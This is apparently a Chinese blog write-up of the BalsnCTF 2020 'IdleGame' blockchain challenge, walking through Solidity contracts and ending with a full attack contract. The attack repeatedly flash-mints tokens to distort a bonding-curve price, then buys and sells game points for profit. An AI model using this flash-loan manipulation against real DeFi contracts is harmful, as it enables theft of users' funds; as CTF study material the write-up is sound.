区块链学习笔记之BalsnCTF 2020 IdleGame

这道题的代码还蛮多的,为了不太占篇幅,于是把相关代码塞到仓库里了。

首先看到解题条件叭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract Setup {
uint randomNumber = RN;
bool public sendFlag = false;
BalsnToken public BSN;
IdleGame public IDL;

constructor() public {
uint initialValue = 15000000 * (10 ** 18);
BSN = new BalsnToken(initialValue);
IDL = new IdleGame(address(BSN), 999000);
BSN.approve(address(IDL), uint(-1));
IDL.buyGamePoints(initialValue);
}

function giveMeFlag() public {
require(msg.sender == address(IDL), "Setup: sender incorrect");
sendFlag = true;
}
}

只有IDL才能调用giveMeFlag(),那么看到IDL的合约,有一个

1
2
3
4
5
function giveMeFlag() public {
_burn(msg.sender, (10 ** 8) * scale); // pass this
Setup(owner).giveMeFlag(); // hit here
emit SendFlag(msg.sender);
}

IDL本身是一个继承ERC20的代币合约,也就是我们需要拥有(10 ** 8) * scale 个 IDL代币 (scale的值是10^18)

那看看哪里能搞到币。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function buyGamePoints(uint amount) public returns (uint) {
uint bought = _continuousMint(amount);
BSN.transferFrom(msg.sender, address(this), amount);
_mint(msg.sender, bought);
emit BuyGamePoints(msg.sender, amount, bought);
return bought;
}

function sellGamePoints(uint amount) public returns (uint) {
uint bought = _continuousBurn(amount);
_burn(msg.sender, amount);
BSN.transfer(msg.sender, bought);
emit SellGamePoints(msg.sender, bought, amount);
return bought;
}

可以看到这里有buyGamePoints 和 sellGamePoints函数,直觉上来说,这里会不会有一种赚差价的方式,让钱生钱,利滚利。那初始资金呢哪儿来呢?可以注意到这里的买卖还用了另外一个代币BSN,看到BSN的合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract BalsnToken is ERC20 {
uint randomNumber = RN;
address public owner;

constructor(uint initialValue) public ERC20("BalsnToken", "BSN") {
owner = msg.sender;
_mint(msg.sender, initialValue);
}

function giveMeMoney() public {
require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy");
_mint(msg.sender, 1);
}
}

有一个giveMeMoney,如果你没钱,就会给你一块BSN。

这个时候就有一个想法,我们是不是可以领一块BSN,然后拿去买IDL。那么需要想办法看看一块BSN能买多少个IDL。

重新回到上面的 buyGamePoints 函数,里头有一个 uint bought = _continuousMint(amount);,这个amount是BSN的值,bought是可以买到的IDL,那么显然这个_continuousMint 是一个类似于汇率的东西。跟踪到 ContinuousToken 的合约代码,在Tokens.sol里,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function calculateContinuousMintReturn(uint _amount) public view returns (uint mintAmount) {
return BBC.calculatePurchaseReturn(totalSupply(), reserveBalance, reserveRatio, _amount);
}

function calculateContinuousBurnReturn(uint _amount) public view returns (uint burnAmount) {
return BBC.calculateSaleReturn(totalSupply(), reserveBalance, reserveRatio, _amount);
}

function _continuousMint(uint _deposit) internal returns (uint) {
require(_deposit > 0, "ContinuousToken: Deposit must be non-zero.");
uint amount = calculateContinuousMintReturn(_deposit);
reserveBalance = reserveBalance.add(_deposit);
emit ContinuousMint(msg.sender, amount, _deposit);
return amount;
}

_continuousMint -> calculateContinuousMintReturn -> BBC.calculatePurchaseReturn(totalSupply(), reserveBalance, reserveRatio, _amount);

这个BBC是啥,可以看到上面,

BancorBondingCurve public constant BBC = BancorBondingCurve(0xF88212805fE6e37181DE56440CF350817FF87130);

好像是条曲线。去到这个地址发现是提供源码的,就是文件夹里的BBC.sol。挺长的,不是很能看懂规则。

既然详细的规则看不懂,我们直接部署看结果好了。

首先部署BBC.sol,然后拿到BBC的地址,把Tokens里的地址替换调,然后部署Setup,通过Setup拿到IDL的地址,用地址获取IDL的合约实例

image-20220215161209324

部署完了会有这样三个实例,我们直接调用IDL的 calculateContinuousMintReturn 函数

image-20220215161705426

发现一个BSN能换36192100个IDL,还是挺多的?但是计算一下,以这个价格至少需要414455088265118631个BSN,而且还是没考虑货币增值的情况。一个很直观的认知应该是,买的越多,这个东西就变得越贵。我们看到Setup合约的构造函数中有

1
2
3
4
5
6
7
constructor() public {
uint initialValue = 15000000 * (10 ** 18);
BSN = new BalsnToken(initialValue);
IDL = new IdleGame(address(BSN), 999000);
BSN.approve(address(IDL), uint(-1));
IDL.buyGamePoints(initialValue);
}

BSN买了 15000000 * (10 ** 18) 个IDL,所以有了这么个价格,那么我们把这个值改的小一点,看看这个价格会是多少。

当改成IDL.buyGamePoints(15000000);

image-20220215161318589

一个BSN能买37933028个IDL。果然是变便宜了。所以我们的认知还是比较正确的。(但是知道了这个结果有什么用的。不过是更加说明了我们嫖一个BSN,拿去买IDL,再嫖,再买的方式的行不通罢了)

回到最初的想法,我们找找是否有一个买卖赚差价的方式。也就是在一买和一卖之间,我们的BSN有增值,或者IDL有贬值。

我们知道,IDL被买的越多,就越贵,所以能不能在我们买入IDL的时候,有别人大量的抛售IDL呢?但是持有IDL的别人只有BSN这个合约,我们又没法去控制它。但除了抛出IDL会让货币贬值,另一个让货币贬值的方式,就是货币的增发。(所谓通货膨胀)那如何让货币增发呢?注意到IDL还是一个闪电贷(FlashERC20 )的代币。

1
2
3
4
5
6
7
8
9
10
contract FlashERC20 is ERC20 {
event FlashMint(address to, uint amount);

function flashMint(uint amount) external {
_mint(msg.sender, amount);
IBorrower(msg.sender).executeOnFlashMint(amount);
_burn(msg.sender, amount);
emit FlashMint(msg.sender, amount);
}
}

可以看到,我们走一波闪电贷的时候,他会向我的账户直接增发amount个代币,然后执行我们的一个executeOnFlashMint(amount)方法,然后销毁。而这个增发,会不会真的如我们所想影响代币的价值呢?我们继续测,我们手动给这个FlashERC20加一个mint 和 burn方法,其实就是把flashMint的操作给拆分了。好让我们有时间去手动查看汇率。

1
2
3
4
5
6
7
function Mint(uint amount) external {
_mint(msg.sender, amount);
}

function Burn(uint amount) external {
_burn(msg.sender, amount);
}

我们就给自己先增发个15000000 * (10 ** 18)个代币看看,然后看看汇率

image-20220215163503248

可以发现这个汇率已经起飞了。然后把增发的burn掉,汇率又回去了。

所以思路就很清楚了。

  1. 我们调用闪电贷,先获取大额的IDL代币
  2. 闪电贷会调用我们的一个executeOnFlashMint(amount)方法,我们就用这个方法领一个BSN,然后去买到特别多的IDL代币
  3. 闪电贷结束,大额的IDL代币被销毁,汇率回归,我们把手里的IDL代币全抛了换回BSN

这样一次下来我们应该就能赚到不少的BSN,多搞几次,手里的BSN就是呈指数型增长。最后IDL够了,就可以获取flag了。

攻击合约(zbr的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pragma solidity =0.5.17;

contract hack{
address public IDLE=0xEC3c9230499a3FA960Ee28f7D2c0Ee3AD4AeBb07;
address public BALN=0x80922Db6752eCe1C2DeFA54Beb8FB984E649308B;
uint public myIDLE;
uint public temp;
uint public loan=99056419041694676677800000000000000002;
bool public first;
IdleGame IDL=IdleGame(IDLE);
BalsnToken BSL=BalsnToken(BALN);
uint public boo;
function exp()public{
BSL.approve(IDLE,uint(-1));
BSL.giveMeMoney();
IDL.flashMint(loan);
temp=IDL.sellGamePoints(myIDLE);
IDL.flashMint(loan);
temp=IDL.sellGamePoints(myIDLE);
IDL.flashMint(loan);
temp=IDL.sellGamePoints(myIDLE);
IDL.flashMint(loan);
IDL.giveMeFlag();
}
function executeOnFlashMint(uint amount) external{
if(first==false)
{
myIDLE=IDL.buyGamePoints(1);
first=true;
}
else{
myIDLE=IDL.buyGamePoints(temp);

}

}
}

image-20220215164740094image-20220215164827098


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:区块链学习笔记之BalsnCTF 2020 IdleGame

文章字数:1.6k

本文作者:Van1sh

发布时间:2022-02-15, 15:39:00

最后更新:2022-02-16, 22:49:03

原始链接:http://jayxv.github.io/2022/02/15/区块链学习笔记之BalsnCTF 2020 IdleGame/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏